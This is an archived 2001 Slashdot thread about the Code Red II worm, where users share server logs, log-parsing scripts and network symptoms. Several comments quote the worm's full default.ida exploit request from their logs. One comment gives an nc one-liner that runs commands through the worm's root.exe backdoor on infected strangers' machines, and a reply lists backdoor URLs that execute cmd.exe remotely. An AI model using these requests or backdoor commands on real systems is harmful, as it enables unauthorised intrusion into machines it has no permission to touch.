Slashdot Mirror


Code Red Back For More

Brian Stretch writes: "The Code Red II worm was unleashed early this morning and appears to be very different than the original and far more dangerous. CR2 infected servers only attack servers within their Class A address block and their Class B address block in particular: since 9:11am EST I've logged 148 CR2 attack attempts, 89 of which are from within my Class B subnet, suggesting that only servers within Class A networks that were deliberately seeded are being attacked. The 24.x.x.x range is one of the hardest hit, and as before, it's folks with cable modems and DSL connections that are providing the most victims." Several @home customers have written about slowed service today, but they're definitely not alone.

866 comments

  1. Source? by Anonymous Coward · · Score: 0

    Can you either post the source, or a link to the source? I'd like to do the same (I have over 350)
    Thanks

    1. Re:Source? by ksheff · · Score: 4, Informative

      Why not use the sort mentioned in the paper by Uri Guttman and Larry Rosler? It was made for this.

      print join "\n", map substr($_, 4) => sort map pack('C4' => /(\d+)\.(\d+)\.(\d+)\.(\d+)/) . $_ => @ip;
      --
      the good ground has been paved over by suicidal maniacs
    2. Re:Source? by Anonymous Coward · · Score: 0

      hehe, I like this, everyone's showing off their oneliners (great for newbies)

    3. Re:Source? by Darby · · Score: 1

      Now, come on. Be honest.
      You didn't add any of those comments until you knew you were going to post it publicly, did you ;-)

    4. Re:Source? by Maditude · · Score: 2, Insightful

      Here's a speedy one...

      #!/bin/sh
      grep default.ida /var/log/httpd-access.log | cut -f 1 -d ' ' | sort

    5. Re:Source? by secs · · Score: 1, Informative

      its not the greatest script but its what i used

      #!/usr/bin/perl
      # Opens logfile and picks the ip's that attempt to pass the code red virus
      # Location of Log File
      $LOG = "/var/log/apache/access_log";
      #begin code
      open LOG or die "Cannot open $LOG for read:$!";
      $count = 0; # ip count
      @ip; # array of ip's
      while (){
      if(m@GET /default.ida?@){
      /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
      $count++;
      push(@ip,$1);
      }
      }
      #sort ip's (this is a slow sort.. beware)
      print join "\n", sort {
      pack('C4' => $a =~
      /(\d+)\.(\d+)\.(\d+)\.(\d+)/)
      cmp
      pack('C4' => $b =~
      /(\d+)\.(\d+)\.(\d+)\.(\d+)/)
      } @ip;
      print "\n\nThis Box Has Had $count Attempts On It By The Code Red Virus.\n";
      #end code

  2. it really is heavy in 24.*.*.* by SkyIce · · Score: 1

    In the last ten minutes:
    [Sat Aug 4 19:50:03 2001] [error] [client 24.45.135.139] File does not exist: /var/www/default.ida [Sat Aug 4 19:50:18 2001] [error] [client 24.10.20.81] File does not exist: /var/www/default.ida [Sat Aug 4 19:51:30 2001] [error] [client 24.43.198.115] File does not exist: /var/www/default.ida [Sat Aug 4 19:58:09 2001] [error] [client 24.102.17.144] File does not exist: /var/www/default.ida [Sat Aug 4 19:59:18 2001] [error] [client 24.190.160.240] File does not exist: /var/www/default.ida

    1. Re:it really is heavy in 24.*.*.* by Temkin · · Score: 1

      Not that bad in 24.1.*.* yet. I've logged about 1100 hits via IPF, as of 7:30am PDT Sunday. I don't run a web server, and setup IPF to log hits on port 80 back during v1.0. Since each machine appears to try twice, that's only about 550 attempts.

      Of course... OpenBSD never gets tired of saying "No! Go away!". About they best they can hope for is to fill my /var partition.

      BTW - The "blinken lights" on most hubs & routers are "pulse streched", which means there's a minimum amount of time they are on. Events start overlapping, and the light just stays on.

      Temkin

    2. Re:it really is heavy in 24.*.*.* by cworley · · Score: 2

      The strange thing is the flood of ARP "who-has" requests.

      I'm on 24... too, and my activity light is blinking like my son's running a gnutella client (but he's not), and tcpdump is showing a flood of arp "who-has" packets... for a couple hours now.

      My bandwidth seems good... in fact, better than normal... probably because I don't do WinDoh's.

      --
      When I die, please cast my ashes upon Bill Gates -- for once, make him clean up after me!
    3. Re:it really is heavy in 24.*.*.* by Phork · · Score: 1

      @homes routers always do a lot of arping, but latley i have noticed alot mre than uasual. maybe a switch in broadcast mode, or a routed losing its arp cache.

      --
      -- free as in swatantryam - not soujanyam.
    4. Re:it really is heavy in 24.*.*.* by pbur · · Score: 1

      I am on 24 too, and my cable modem light is blinking like crazy. But everything is dropping at my firewall. Haven't gone on the other side to see what is going on. But I have a feeling it is is Code Red. Not to mention I lost service for a few hours last night.

    5. Re:it really is heavy in 24.*.*.* by thelexx · · Score: 1

      I'm on 64... and I just noticed the exact same thing. I was running Gnotella until a few minutes ago so I don't know when this started. Tiny tells me I'm doing a steady 3.42Kbps in nothing but ARP traffic.

      LEXX

      --
      "Gold still represents the ultimate form of payment in the world." - Alan Greenspan, 1999
    6. Re:it really is heavy in 24.*.*.* by cirby · · Score: 1

      My cable modem has had its DATA light pinging since yesterday. Solid. Between OS X and OS 9, I've had no real problems...

    7. Re:it really is heavy in 24.*.*.* by mjowiz · · Score: 1

      My IP is 24.17
      The modem light is just constantly on. I've even unplugged the modem from my router to confirm it is an external access, and sure enough the modem light is just chattering on constant with incomming traffic. Amazingly, I am still able to get out and the throughput is still very good in SE Michigan.

    8. Re:it really is heavy in 24.*.*.* by quarterbooty · · Score: 1

      same here. on 24.x.x.x and my cable modem is going crazy. a tcpdump on my debian router shows a ton of arp who-has flying by. surprisingly enough, my once unreliable (in all probability still) @home service is still working

    9. Re:it really is heavy in 24.*.*.* by Anonymous Coward · · Score: 0

      I'm on a 24.44.x.x on Optimum Online, and I too am getting flooded with arp who-has packets, as shown by tcpdump. constant orange glow of the data light on my modem.

  3. Logs of attacks against an @Home user by Anonymous Coward · · Score: 0

    This page logs the Code Red attacks (both versions) against an AT&T @Home user. At the time of writing, this server has already been attacked by Code Red II over 440 times!

  4. Re:logs by chuqui · · Score: 1

    I just checked my server, which saw very little code red activity. 33 attacks today, way beyond anything I saw before.

    --
    Chuq Von Rospach, Internet Gnome = When his IQ reaches 50, he should sell
  5. Is this anything like the old finger worm by hypocritic · · Score: 1

    ..it overruns an un-checked buffer to overwrite a privilaged subroutine in memory..

    does anybody remember how the cornell finger worm worked?

    1. Re:Is this anything like the old finger worm by Dmitry+Skylarov · · Score: 0
      does anybody remember how the cornell finger worm worked?
      Dude, hell yeah! That's when you get some chick real drunk, and then stick your finger in her butthole!
      --

      ----
      Please, I are begging you! To save Dmitry from teh jail!

  6. ISP and firewalling by Anonymous Coward · · Score: 0

    You just know ISPs like @home are going to start blocking port 80 because of this. Kudos microsoft and some of their users (in all fairness, probably a small minority of them) for recking the web for the rest us.

  7. Re:test by tulare · · Score: 2

    Click on "Reply to this" just below the story. If you are wanting to submit a story, well... good luck!

    --
    political_news.c: warning: comparison is always true due to limited range of data type
  8. Re:a quick fix by El+Spuddo · · Score: 1
    If you could just execute one command as root on that machine, you could knock it off the net.

    route del default

    Or however you do it with the NT route command.

  9. Re:cisco 675 hanging. by ZanshinWedge · · Score: 2
    Nope, there's a better solution. You want to use NAT to redirect port 80. For example, telnetting into the ol' cbos, you'd type something like:

    set nat enable
    set nat entry add [insert outside ip here] 80 10.255.255.200 17000 tcp
    write
    exit


    Or, you could add a filter to deny incoming traffic on port 80.

  10. Spreading faster? by PlazMatiC · · Score: 1

    I already have more hits for codered II than I did for the original.
    Does it spread differently / attack more often?
    Or is the random number generator better than in the original?

    root@beethoven:/usr/local/apache/logs# grep default.ida access_log | wc -l
    254
    root@beethoven:/usr/local/apache/logs# grep NNNNNNNNNN access_log | wc -l
    119
    root@beethoven:/usr/local/apache/logs# grep XXXXXXXXXX access_log | wc -l
    135

    1. Re:Spreading faster? by EvilMagnus · · Score: 1
      I'm a dumbass. That should be the other way 'round. XXXX's are CodeRedII, not NNNNN's.

      --
      -EvilMagnus
    2. Re:Spreading faster? by kilrogg · · Score: 1
      I'm in the 24. domain:

      $ grep "default.ida" /var/log/httpd/access_log -c
      497

      $ grep "default.ida" /var/log/httpd/access_log | cut -d . -f 1 |grep 24 -c
      392

      $grep "default.ida" /var/log/httpd/access_log |grep XXXXXXXXXX -c
      385

      I was only at ~80 NNN yesterday!

    3. Re:Spreading faster? by SkyIce · · Score: 1

      it's even better here, in 24.*.*.*:

      oak:/var/log/apache# grep default.ida access.log | wc -l
      293
      oak:/var/log/apache# grep NNNNNNNNNN access.log | wc -l
      90
      oak:/var/log/apache# grep XXXXXXXXXX access.log | wc -l
      203

    4. Re:Spreading faster? by EvilMagnus · · Score: 1
      Heh. I see your ratio, and raise...

      [root@oberon httpd]# grep default.ida www.access_log | wc -l
      94
      [root@oberon httpd]# grep XXXXXXXXXX www.access_log | wc -l
      4
      [root@oberon httpd]# grep NNNNNNNNNN www.access_log | wc -l
      90
      And that 90's been in the last few hours. Yowza.

      --
      -EvilMagnus
    5. Re:Spreading faster? by thrig · · Score: 1

      P.S. grep -c ... is faster than grep ... | wc -l

      http://www.ling.helsinki.fi/~reriksso/unix/award.h tml for more details, and other shell tips.

  11. Re:a quick fix by dozing · · Score: 1

    Ahh. Sorry for the mistake. I'm just a linux bum. I can't afford that expensive Windows junk.

    --
    Dozings.com -- Its kinda funny... If you're as crazy as me.
  12. Re:Not 'Hacked by Chinese?' by MyMomIsALinuxHacker · · Score: 1

    Damn, I miss that 'Hacked by Chinese' stuff.. reminds me of sushi.. hmm.. sushi..
    Well, at least it was for a "good" cause.. it makes the worm smaller and faster to spread, because the victim doesnt know that hes infected, letting the worm scan more hosts..

    A witty saying proves nothing. --Voltaire

  13. Re:fdisk by Anonymous Coward · · Score: 0

    th3y 0wnz j000!!@#?!>$@?!$>!-`!?

  14. Re:logs by zexxxx · · Score: 1
    Thx for the perl code.

    144 hits for me so far. Good ol' apache...

    http://www.genotrance.com/red.html

  15. Cisco 675 CBOS version 2.4.2 by Futurepower(tm) · · Score: 2


    I can handle a limited number of requests.

    I'm running 2.4.2 with no hangs. Cisco made me jump through hoops to get the upgrade.

    Anyone from Cisco know why Cisco makes it so hard for customers?

    --
    Bush's education improvements were
    1. Re:Cisco 675 CBOS version 2.4.2 by Anonymous Coward · · Score: 0

      We're end users, not customers :) Ugh, technicalities... Qwest is their real "customer" ...

  16. Re:It's not safe to install IIS while on a network by tswinzig · · Score: 2

    Solution, never ever have your box plugged into the network while installing a Windows server. Only plug it in after all patches, service packs, and hot fixes have been applied first.

    Interesting dilemma... how exactly are these people going to get the patches to be installed with the system unplugged? Microsoft is going to have to release a patch CD.

    --

    "And like that ... he's gone."
  17. Re:A few more details by Kalrand · · Score: 1

    One reason that they might have changed to "XXXX" is that the eEye scanner used "X" instead of "N" to gage how affected the internet could be.

    That or this puppy has been around for longer than we think

  18. Heh... while we're about it by GC · · Score: 2

    I felt I was missing the fun... so I decided to open up a port on my firewall and check for some attack attempts...

    It took only ten minutes before /var/log/apache/access_log came up with:

    213.123.150.110 - - [05/Aug/2001:14:12:16 +0100] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281

    Blimey... 10 minutes! This thing is rife!!!

    And yes that machine is in the same class B network as myself. His ping time latency is over 500ms though... (that was at the time of the scan. Normal latency is around 20-50ms).

  19. Re:Broken random number generator (again!) by LinuxHam · · Score: 1

    I've been thinking about this.. We ran a very tight routing configuration at my last job (not vouching for the software).. using PIX we severely locked down inbound traffic flow, but had to manage inbound email and Websphere access to mainframe databases.

    I wonder about much smaller organizations that might dual-home an NT box with 192.168 on one side and their registered address on the other. Granted, a Linksys would go a long way, but I'm sure many of these tiny firms don't have someone to go to for little tidbits like that.

    I almost feel bad for those entities. You would think a small business may not be able to pay extravagant fees for software, but instead of going with free software (which is certainly more difficult to configure) they instead choose to pirate the shoddy MS garbageware. Now they're suffering greatly as a direct result of the choices they made.

    The way I see it, though, is kinda like feeling bad for West Virignians who rebuild their homes in the same place after last one was washed away by a flood. I just can't feel bad for their own stupidity.

    --
    Intelligent Life on Earth
  20. Re:Will this wake peoiple up? by mpe · · Score: 2

    There are just too many IIS installations that are run by people who either don't know what they are doing or worse don't even know what IIS or a web server is. That's the problem with these "idiot-proof" GUI webservers...they can be run by idiots.

    It certainly dosn't help that it can take more effort to not install IIS.

  21. Re:ARP Broadcast spamming by Anonymous Coward · · Score: 0

    arp broadcasts of routers trying to figure out who the f*ck the machine that code red 2 is trying to probe is. if the server doesn't exist, it's broadcasting to your subnet to find out who that IP belongs to..

  22. Re:The beginning of the end of free rides... by Anonymous Coward · · Score: 0

    Naaa... just config your firewall to DENY connections from authorized-scan1.security.home.net (24.0.0.203)

    Keeps those pests at bay...

  23. Any idea on the scan rate? by Mnemia · · Score: 1

    How many hosts will the new strain scan, and does it re-seed its RNG? The reason I ask is that I've noticed that many of the infected hosts that are within my same subnet have scanned my machine upwards of 5-6 times today...

    Is each host just limited to a finite number of IPs that it will scan repeatedly, or will it continue to scan the entire Internet if not stopped?

  24. Re:A proposal by Anonymous Coward · · Score: 0

    Dont expect every scan to be from an infected computer.. Since CR2 "r00tz" the computer, it might be some skript kiddie trying to get in your computer.. That means that the CR2 worm is worst because it also uses the "evil" and greed in us to cause more trouble to the internet.. So, the idea of running a script that goes through the logs isnt that good..

  25. Re:cisco 675 hanging. by drsoran · · Score: 2

    Anyone with a Cisco Smartnet contract should be able to download the 2.4.2 image for the 67x series. It's up there on the CCO. If your ISP doesn't have a contract you should suggest that they get one if they are going to continue to support Cisco products. If they use Cisco routers and/or switches they may already have one. Try asking.

  26. Not 'Hacked by Chinese?' by cybermage · · Score: 2, Redundant

    I've gone and hit the addresses showing up in my logs and I haven't seen the tell-tale 'Hacked by Chinese' message. Seems like the new Code Red also leaves the default site at the IP address alone, making it less obvious that a server is infected. Joy.

    1. Re:Not 'Hacked by Chinese?' by MyMomIsALinuxHacker · · Score: 1

      I said "reminds"..

    2. Re:Not 'Hacked by Chinese?' by Anonymous Coward · · Score: 0

      cr2 is a completely different worm.

      It shares only two things in common:
      1. It uses the same exploit.
      2. It includes the string "Code Red II".

      Other than that, this is a much better written worm, with a very different random algorithm (heavily biased towards local blocks, making it significantly more efficient at spreading), and a much nastier payload. It has many other very different characteristics as well.

    3. Re:Not 'Hacked by Chinese?' by VirtualWolf · · Score: 1
      I did the same thing. I couldn't access a few of them, but some came up with the usual IIS "The page cannot be found" error, and another couple had "this page is under construction". However, 3 of them had this text, in red text on a black background:
      fuck CHINA Government
      fuck PoizonBOx

      contact:sysadmcn@yahoo.com.cn

      And there were another 2 that had exactly the same message but with the words "USA" instead of "CHINA".
    4. Re:Not 'Hacked by Chinese?' by jerrytcow · · Score: 1

      Damn, I miss that 'Hacked by Chinese' stuff.. reminds me of sushi.. hmm.. sushi..

      ummm...sushi is a japanese food.

    5. Re:Not 'Hacked by Chinese?' by Dmitry+Skylarov · · Score: 0

      Are you trying to say that there's a difference?

      --

      ----
      Please, I are begging you! To save Dmitry from teh jail!

  27. code red irony by Anonymous Coward · · Score: 0

    COMPANYX is infected and scanning. I got several hits from them today..so i hit their website to see who it was. Here's snippet of their propaganda. Go Figure. DARPA (Defense Advanced Research Projects Agency) has recently awarded COMPANYX a contract to develop technology to help the US military effectively respond to strategic threats to the computer networks of the United States government. In particular, COMPANYX will develop tools that can be used to plan courses of action that can counter the threat of widespread, adaptive, coordinated and rapid attacks by exploiting predictive cyberspace knowledge to effectively manipulate the future actions of attackers to the benefit of US cyber defense.

    1. Re:code red irony by Anonymous Coward · · Score: 0

      Why can't you say their name? Are you afraid they're going to come in their black helicopters and take you to area 51, where they will let the aliens perform some bizarre medical-sexual experiments on you?

  28. @home ARP flood? by Milo_Mindbender · · Score: 1
    I'm out here on the 24. network of @home in San Francisco and just saw a HUGE flood of ARP requests. It's quieted down now but a few minutes ago it was running somewhere around 50-100 a second or so. Not really sure how long it was going on, at least half an hour. Is this likely related to code-red scanning machines on the same net as me?

    Kangaroo Koncepts

    --

    Milo from Kangaroo Koncepts

  29. Re:Easier to track the source now? by Umanity · · Score: 1

    My first hit from the 'N' variety was :

    evrtwa1-ar9-4-60-251-194.vz.dsl.gtei.net

    4.60.251.194 - - [04/Aug/2001:06:26:29 -0700] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 330 "-" "-"

    This was at 6:26AM Pacific time. I hope this helps track the bastard...

    --

    Michael A. Uman
    Sr Software Engineer
    softwaremagic.net

  30. Re:Seems pretty light in 127.* by Anonymous Coward · · Score: 0

    That 1 is probably the one that infected you.

  31. Re:A few more details by mcleodnine · · Score: 1

    The really scary thing is to consider how long CodeRed V2.0 would have gone unnoticed if the probes would have stuck with the "NNNN" series instead of the "XXXX" as the overflow fodder? It took me two cups of coffee this morning (well, ten-ish) to see that I was looking at a page of "X"s. Could it have gone relatively stealthy?

    --
    one better than mcleodeight
  32. Re:logs by whovian · · Score: 1

    date = Sun Aug 5 11:42:52 CDT 2001

    Linux running apache. The first sign of the XXXX version showed up yesterday:

    61.77.78.28 - - [04/Aug/2001:14:01:22 -0500] "GET /default.ida?XXXXXXXXXXXXXXXXX snip
    211.36.128.3 - - [04/Aug/2001:23:44:01 -0500] "GET /default.ida?XXXXXXXXXXXXXXXX snip

    Wouldn't you know it? nslookup returns non-existant host/domain. Otherwise, we are still getting probed by the NNNN variety about once an hour.

    --
    To-do List: Receive telemarketing call during a tornado warning. Check.
  33. Re:I go to school with that guy by LinuxHam · · Score: 1

    I can't believe we haven't /.ed his guestbook!! I was expecting to find about 400 entries saying, "you do realize the entire Internet knows you're a complete moron by now, don't you??"

    --
    Intelligent Life on Earth
  34. Re:the real kicker is by thrig · · Score: 1

    Essential unix sysadmin text: http://www.admin.com/

  35. Re:24.43.*.* is rather heavy.. by Anonymous Coward · · Score: 0

    "Personal Web Server" on Windows 9x is just a varient of IIS and is probably vulnerable to most IIS bugs. It gets a pass on this one because Index Server is not installed on 9x.

  36. Re:If this can't break Microsoft's back nothing wi by Tackhead · · Score: 3, Insightful
    > My microwave doesn't blue screen and cook my brain inside out.
    >
    > SO WHY THE HELL IS THE CORE FUNCTIONALITY OF MY PC allowed to distribute my personal information, crash during critical functionality, be succeptable to cracks and attacks that are easily preventable.

    For his track record of trading security for market share, I'm just as happy as any Slashdotter to see Bill Gates' nuts roasted over a fire until they pop.

    But the fact is, your PC - whether it runs CP/M, BeOS, FreeBSD, Linux, or Windows XP - is fundamentally different from embedded systems like your microwave and your car.

    Design flaws can exist - in medicines, in consumer products, in closed-source applications, and yes, in open-source applications.

    The reason the "core functionality" of your PC is "allowed" to distribute your private information is because it has to be able to do so if you're going to write emails to your friends.

    The reason it's "allowed" to crash is the same reason automobiles are "allowed" to crash -- sometimes it's a design flaw (Code Red IIS exploit, BIND exploit, Ford Pinto gas tank that exploded on rear impact), and sometimes it's operator error (SirCam worm, drunk driver).

    > I hope no one keeps personal, private, confidential and financial data on there pc's.

    The only truly secure machine is the one that's been unplugged, powered down, encased in concrete, wrapped up in a Faraday cage, and then dropped into the Marianas Trench. Ya gotta do what ya gotta do.

  37. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    What you could do though, is set up a RunOnce entry in the registry to start Notepad. Then, when the user next logs on, they'll get the message!

    Of course, once they reboot, they are no longer infected, but maybe they will patch it.

  38. Re:Hypothesis by Anonymous Coward · · Score: 0

    Yeah.. anyone who is on the computer on the weekends who would be able to do such a thing is a geek, and most geeks would rather see the shit hit the fan than fix it :) (I know that I'm a little excited to see this happening)

  39. Re:A few more details:It's a root trojan by Malcontent · · Score: 2

    I can't believe people trust their businesses to this crap. That's just too funny.

    --

    War is necrophilia.

  40. Re:Code Red affecting cell phone networks? by raju1kabir · · Score: 1
    I noticed this afternoon, I could not make any calls on my cell phone. I called customer support serveral times. They were busy. I guessed they were having problems with their network. My friend, who is on a defferent network (I am on Rogers AT&T Canada, he is on Fido Canada), also could not make any calls. Could it be that this worm brought down some cell phone networks?

    Absolutely. Never forget that all observed phenomena have direct causal relationships. The one you find the most offensive is always to blame.

    Another weird thing the worm did was mess with the weather in Bethesda, MD today. It was hot and sunny around 4:30pm, yet there was a torrential downpour. The sun never went away. Damn worm.

    --
    "Patriotism is your conviction that this country is superior to all other countries because you were born in it." -- GBS
  41. Re:the real kicker is by clifyt · · Score: 2

    No, I don't think I did.

    You are right, a well set up unix box takes little time to administer if you leave it static. That is the point. What if your client decided they needed to find a distributed FAX server for their office. Its dead simple to find this stuff and install it and thats what they are looking at. They can call me in for my $75 an hour and end up paying far more in the 3 hours I'm there, and the 5 hours I took to research this stuff...not including fielding the service calls when their secretary needs trained how to use it...than if they would have had the secretary use some of her downtime to do a search for FAX SERVER and WINDOWS NT and find something that worked reasonably well. One of the more technical folks in the office slaps in the card, installs the software and then they call me to come in and do a tweek here or there or ask me if the software looked good in the first place.

    The fact is computers don't need to be 99.999 for most businesses. I DO know what you mean though: My biz partner whom handles most of the creative aspects of the biz, didn't even know that 3 of our boxes we had sitting in our racks were Unix based. All he knew was that these were the machines that he never had to touch. He knows all about Windows as he's had to futz with them all the time. Give him unix and he'd be lost...even if ya threw him into KDE or Gnome (two things you'd never see on any of my servers).

    Again, admining a Unix box CAN be cheaper and takes less time, but when I get around to an office once a month, that ain't going to cut it when then need new users added to the system and mail accounts set up...how about a new CGI installed for the webserver...that sorta stuff. Having a geek on call would be perfect, but the cost of a fulltime windows person is still going to be far cheaper than a part time unix person that knows what they are doing.

  42. Remotely disabling root.exe justifiable? by rnt · · Score: 2, Informative

    I'm still doubting if I will run something like this on my machines:

    tail -f /var/log/httpd/access_log|gawk '/default.ida/ {system("echo GET /scripts/root.exe?/c+ren+root.exe+root.exe-worm HTTP/1.0|nc "$1" 80")}'

    In theory (I haven't tested it yet) this should rename the root.exe to something else, at least disabling that particular exploit on the machine.

    Messing with other people's machines is a Bad Thing(tm) as far as I'm concerned. On the other hand, if people can't be bothered with keeping their software up to date and are causing inconvenience for other people...

    This root.exe might be a stepup for causing even more problems at a later time!

    Argh, that poses a bit of a moral dilemma for me...

    1. Re:Remotely disabling root.exe justifiable? by SuiteSisterMary · · Score: 2

      Let me clarifiy this a bit. The worm creates two more web directories, which point to the root of C drive and, if it exists, the root of D drive.

      --
      Vintage computer games and RPG books available. Email me if you're interested.
    2. Re:Remotely disabling root.exe justifiable? by baptiste · · Score: 3, Informative
      Well, no that won't fix it completely - turns out there are a few virtual exploits they put in. From teh recent analysis:

      Basically the above code creates a virtual web path (/c and /d) which maps /c to c:\ and /d to d:\. The writer of this worm has put in this functionality to allow for a backdoor to be placed on the system so even if you remove the root.exe (cmd.exe prompt) from your /scripts folder an attacker can still use the /c and /d virtual roots to compromise your system. The attacks would basically look like:

      http://IpAddress/c/inetpub/scripts/root.exe?/c+dir (if root.exe was still there) or:
      http://IpAddress/c/winnt/system32/cmd.exe?/c+dir Where dir could be any command an attacker would want to execute.

      As long as the trojan explorer.exe is running then an attacker will be able to remotely access your server.

      Man whoever did this put some thought into it.

  43. Re:logs by SEWilco · · Score: 1
    You release a known virus under the GPL ? Your copyright isn't enforceable.
    Well, his copyright is valid if he is the author of the worm. Do you or I know if he is?
  44. The end of the world as we know it? yay! by MyMomIsALinuxHacker · · Score: 1

    When the first Code Red worm comed out, the press gived it so much attention and so little details, that almost every non-geek person was scared and decided to not come to the Internet on the 1st of this month.. So, in that day, at least for me, NET WAS FASTER!!! yay!!!

    My point is, if the press gives as little details about the Code Red II as it did to "The One", net will be faster for some people (as long it DECENTLY attacks the White House homepage)!

    Anyways, I was already expecting a CR2 (and expect a CR3, 4, etc.. it will be like Final Fantasy, eh =), but expected it to exploit different vulnerabilities (thats why I think CR2 wasnt made by the same author as the CR1)..

    CR WILL be the new worm model that "evil little green (wo)men" (thats what the government wants to believe they are..) will follow.. Imagine that, mass defacement made easy..

    Also, just imagine the damage if 4 or 5 of these worms went lose AT THE SAME TIME, exploiting vulnerabilities in many OS (that way, "evil little green (wo)men" wouldnt had to build one HUGE worm, just tiny ones that "0wn3d" different SOs/webservers and caused total anarchy for everyone).. Imagine that.. Total chaos..

    If a woodchucker could chuck wood, and if it would, how much wood would a woodchucker chuck if he could chuck wood? -- Monkey Island 2

  45. Re:@home preventative measures by jarodss · · Score: 1

    Nope I work with this damn fool and I can verify what happened.

    When the lil'kitty-cat-man's main boxen, dual-p3, crashed he moved to a backup system a p2-233 and installed win2k, he runs a nice little site that no one wants to have \.ed and apparently either someone complained, he was using too much bandwidth or @home really did notice, this may have been too early but what if this was RedII and it made an attempt on an @home server, DHCP, DNS, etc??

    But in anycase, he calls @home, they say you running services, bad, you have virus code red, bad, fix and we let you back on, good.

    Reboot, shut off IIS, call back, they say must call back during business hours to get reactivated, wait without access for way too long and then call, everything cool.

  46. Re:Free r00t for all! by testify · · Score: 1
    Howzabout:

    net send administrator "Your web server is compromised..."

    That should pop a message up to a console the admin has logged on to, if the messenger service is running and if they're using the Administrator account (which is likely, they have unpatched IIS boxes hanging out there, eh?).

    A more drastic approach would be to spam all workstations with the same command, but I will leave that as an exercise to the reader.

  47. Re:logs by reverius · · Score: 0

    I've seen 344 total now, as of midnight MST.

    About 1/3 of those are from the original code red... the "NNN" sequence.

    Over 2/3 of them are from Code Red 2, the "XXX" sequence!!

    That means that in just one day, i've got over twice as many code red 2's as I have code reds total.

  48. After this... by Anonymous Coward · · Score: 0

    After this whole mess anyone still running IIS is just a fscking moron.

    1. Re:After this... by Anonymous Coward · · Score: 0
      Anyone not applying the patch is fscking moron.

      Remember the Sendmail worm? Worms infect *nix too.

  49. In my honor too ... by CodeRed · · Score: 5, Funny

    Errrr.... More things named in my honor... This can't be good!

    If worms start popping up with Linux4Green (my ICQ nick) then I know I'm bad luck. :-P

    --

    --
    CodeRed, the lower user #. No relation to SirCam.
    1. Re:In my honor too ... by Anonymous Coward · · Score: 0

      That's not _that_ bad. What shoud those guys says ?

    2. Re:In my honor too ... by Anonymous Coward · · Score: 0

      Such names are only chosen which are not simple and boring. Originality is rewarded.

    3. Re:In my honor too ... by DickBreath · · Score: 2

      I wish I could have a virus/worm named after me.

      --

      I'll see your senator, and I'll raise you two judges.
    4. Re:In my honor too ... by Anonymous Coward · · Score: 2, Funny

      At least your name isn't Michael Bolton!

      Your name is Michael Bolton? Wow, like the singer guy?
      Yes, and it's just a coincidence.
      So do you like his music?

    5. Re:In my honor too ... by FauxPasIII · · Score: 3, Informative

      FWIW, it's actually named by the guys who disassembled it after the yummy Mountain Dew beverage. From the bugtraq post:

      We've designated this the .ida "Code Red" worm, because part of the worm is
      designed to deface webpages with the text "Hacked by Chinese" and also
      because code red mountain dew was the only thing that kept us awake all last
      night to be able to disassemble this exploit.

      --
      25% Funny, 25% Insightful, 25% Informative, 25% Troll
    6. Re:In my honor too ... by CodeRed · · Score: 1

      Yeah, I was hoping someone would see that and laugh :) This is my old nick, but I've used it since the BBS days (about 93 and on).

      --

      --
      CodeRed, the lower user #. No relation to SirCam.
    7. Re:In my honor too ... by TheMidget · · Score: 1

      Look at his relatively low user-id: he had had that Slashdot name all along, and did not just create it recently for the virus.

    8. Re:In my honor too ... by p_trinli · · Score: 1

      God is a dork?

    9. Re:In my honor too ... by Anonymous Coward · · Score: 0

      God you're a dork. I will most definitley not be adding you to my ICQ.

    10. Re:In my honor too ... by thedeletekey · · Score: 1

      pc load letter? what the fuck does THAT mean?

    11. Re:In my honor too ... by Jucius+Maximus · · Score: 1

      Maybe Steve Gibson got tired of being made fun of, so he wrote the worm after reading one of your posts to try to 'make'his point ;-)

    12. Re:In my honor too ... by warrior · · Score: 1

      Why should I change my name, when he's the one who sucks?

      --
      Intel transfer the difficult from Hadware to software, for get more power, programmer need more technology. -- chinaitn
  50. A few more details by ryanr · · Score: 5, Informative

    It doesn't affect its own netspace exclusively. Initial analysis indicates that it will do so 6 out of 7 times. The 1 out of 7 will go outside its network range.

    We'll have full details posted to the Incidents list shortly.

    1. Re:A few more details by ShavenGoat · · Score: 1

      Looking at my logs, the first time I got an "/default.ida?XXX" was at about 9:45am PST. About an hour later I stopped getting Code Red I's NNN's in my logs.

      This seems to show that the new Code Red worm kills the old version. I don't have any attempted connections from Code Red I in my logs anymore (since about 11am PST).

    2. Re:A few more details by ryanr · · Score: 2

      Took longer than expected (plus I slept a bit in there.. long night :) )

      http://www.securityfocus.com/archive/75/201878
      http://www.securityfocus.com/archive/75/201877

    3. Re: A few more details by CrimsonDeath · · Score: 1
      Actually, according to my logs, the old worm gave the error "Client sent malformed Host header"

      That would indicate (to me at least) that in the old version, the Host: www.x.com parameter in the header (for virtual hosting) was incorrect in the old version.

    4. Re:A few more details by ShavenGoat · · Score: 4, Informative

      Apparently the New worm doesn't really kill off the new worm. I was trying the telnet port 80 thing on a machine that was infected with V2.0, which address was in my logs.

      When I went to telnet, the backdoor didn't work and I got the "Hacked by chinese" message.

      Either the worms over write each other, or a machine can be infected by BOTH worms.

    5. Re:A few more details by reverius · · Score: 0

      What?

      I'm still getting Code Red 1 attempts.

      They're as strong as they ever were. Which isn't that strong.
